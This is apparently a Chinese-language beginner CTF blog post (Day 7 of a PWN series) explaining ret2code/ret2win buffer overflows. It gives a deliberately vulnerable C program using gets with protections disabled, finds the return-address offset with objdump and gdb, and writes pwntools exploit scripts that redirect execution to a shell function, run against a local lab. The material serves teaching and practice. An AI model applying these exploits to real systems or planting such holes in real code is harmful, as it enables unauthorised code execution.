iT邦幫忙

2024 iThome 鐵人賽

DAY 7
0

Lab 網址

前言

經過了前一天的 lab,相信大家對於 buffer overflow 的原理已經有了更多的理解。既然我們能覆蓋判斷式中的值,那麼是否也能覆蓋 return address,讓程式跳到其他位置呢?這正是我們今天要介紹的攻擊技術:ret2code,又稱為 ret2func 或 ret2win。

介紹

回顧之前的 stack 內容,當使用 gets 讀取 buf 字串時,可以持續覆蓋記憶體,甚至可能覆蓋到 rbpreturn address

https://ithelp.ithome.com.tw/upload/images/20240921/20163008IdY1L9W0Fl.png

例如,如果我們想跳到名為 shellwin 的函數,可以嘗試將 stack 覆蓋成如圖所示的狀態。當程式執行到 return address 時,它就會跳轉到我們覆蓋的位置。

https://ithelp.ithome.com.tw/upload/images/20240921/20163008XdC8qoU4wV.png

雖然在現實情況下,程式中不太可能直接有開啟 shell 的 function,但在一些初學者的 CTF 題目中,這類控制程式執行流程(control flow)的題目仍然存在。在進入實作之前,我們要了解這種攻擊的前提條件是:需要關閉 PIE 保護,因為我們必須知道確切要跳轉的 function 位置。

Lab

查看以下程式原始碼:

#include<stdio.h>

void shell(){
    system("/bin/sh");
}

int main(){
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);
    char b[10];
    puts("Send me a message: ");
    gets(b);
    return 0;
}

使用以下指令進行編譯:

gcc src/ret2code.c -o ./ret2code/share/ret2code -fno-stack-protector -no-pie

大家可以自行練習這道題目,或是繼續閱讀以下解題步驟。

writeup

首先,我們注意到程式中存在一個 shell() 函數,這個函數會直接開啟一個 shell。另外,程式關閉了 Canary 和 PIE 保護,並使用了危險的 gets 函數來讀取輸入,因此我們可以嘗試使用 ret2code 技術跳轉到某個位置。在實作 ret2code 之前,我們需要解決以下兩個問題:

  • 找出覆蓋到 return address 前所需的字元數。
  • 確定 shell() function 的地址。

首先,找到覆蓋到 return address 前所需的字元數。我們可以使用 objdump 來 disassemble 程式,觀察指令 lea rax,[rbp-0xa],這表示輸入的起始位置是 [rbp-0xa]。與前面不同的是,return address 前還有 8 個 bytes 的 rbp,所以需要填充的字元數是 0xa + 0x8 = 0x12,即 18 個字元。

https://ithelp.ithome.com.tw/upload/images/20240921/20163008GNWNQKhQFe.png

另一種方法是使用 gdb 來驗證。我們先使用 gdb ./ret2code 啟動程式,然後在 main function 處設置中斷點,接著 r 執行程式,並 ni 逐步執行至輸入位置。此時,我們可以輸入有規律的字元,觀察覆蓋情況。例如輸入 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ

https://ithelp.ithome.com.tw/upload/images/20240921/20163008kiPNGZoETa.png

繼續執行至 return address 處,可以看到 return address 已被覆蓋為 0x4747464646464545,即 EEFFFFGG。因此,可以確定需要填充的字元數是 AAAABBBBCCCCDDDDEE,共 18 個字元。

https://ithelp.ithome.com.tw/upload/images/20240921/20163008tHCZC4Ywoh.png

shell() 的 address 可以使用 objdumpgdb 來查找。使用 objdump,我們可以看到地址為 0x401156

https://ithelp.ithome.com.tw/upload/images/20240921/20163008XLlNezPj7I.png

使用 gdbinfo func 命令,也可以看到 shell() function 位於 0x401156

https://ithelp.ithome.com.tw/upload/images/20240921/20163008DZxQ79XAW0.png

現在我們可以開始編寫 exploit。我們將測試 local 端程式,輸入 0xa + 8 個字元,並在後面加上要修改的 return address:

from pwn import *

r = process('../ret2code/share/ret2code')
# r = remote('127.0.0.1', 10001)

payload = b'A' * (0xa + 8) + p64(0x401156)

r.sendlineafter('Send me a message: ', payload)
r.interactive()

不過執行後會發生 SIGSEGV,此時可以使用 gdb 來追蹤問題。

https://ithelp.ithome.com.tw/upload/images/20240921/20163008zvuzbUfXzb.png

將 exploit 加上 gdb.attach() 並使用 tmux 開啟另一個視窗。gdb.attach() 可以指定啟動時要執行的 gdb 指令,例如設置中斷點。

from pwn import *

r = process('../ret2code/share/ret2code')
# r = remote('127.0.0.1', 10001)

gdb.attach(r,'b main')
context.terminal = ['tmux', 'splitw', '-h']

payload = b'A' * (0xa + 8) + p64(0x401156)

r.sendlineafter('Send me a message: ', payload)
r.interactive()

tmux 中執行 exploit,並讓執行位置回到 main function。

https://ithelp.ithome.com.tw/upload/images/20240921/20163008KeIA6wZWpA.png

此時發現程式確實跳到 shell(),但遇到問題:movaps xmmword ptr [rsp + 0x50], xmm0,提示 not aligned to 16 bytes。這個問題可以參考這篇文章,簡單來說,某些 libc 版本要求 rsp 的值必須是 16 的倍數。我們可以嘗試跳轉到前一點的位置。

https://ithelp.ithome.com.tw/upload/images/20240921/201630089BOltEP4KV.png

例如,跳轉到 0x401157 或其他位置進行測試。

https://ithelp.ithome.com.tw/upload/images/20240921/20163008r5nnAkmpii.png

將 exploit 改為跳轉到 0x401157,並移除剛剛的 gdb 部分。

from pwn import *

r = process('../ret2code/share/ret2code')
# r = remote('127.0.0.1', 10001)

payload = b'A' * (0xa + 8) + p64(0x401157)

r.sendlineafter('Send me a message: ', payload)
r.interactive()

成功取得 shell!

https://ithelp.ithome.com.tw/upload/images/20240921/20163008Je3xvcjO05.png

接下來將題目架設起來,並連接到遠端。

完整 exploit:

from pwn import *

# r = process('../ret2code/share/ret2code')
r = remote('127.0.0.1', 10001)

payload = b'A' * (0xa + 8) + p64(0x401157)

r.sendlineafter('Send me a message: ', payload)
r.interactive()

solved!!

https://ithelp.ithome.com.tw/upload/images/20240921/201630080f1OJlGvZg.png


上一篇
Day6-Basic buffer overflow
下一篇
Day 8-Format String Bug
系列文
PWN CTF 超入門筆記30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言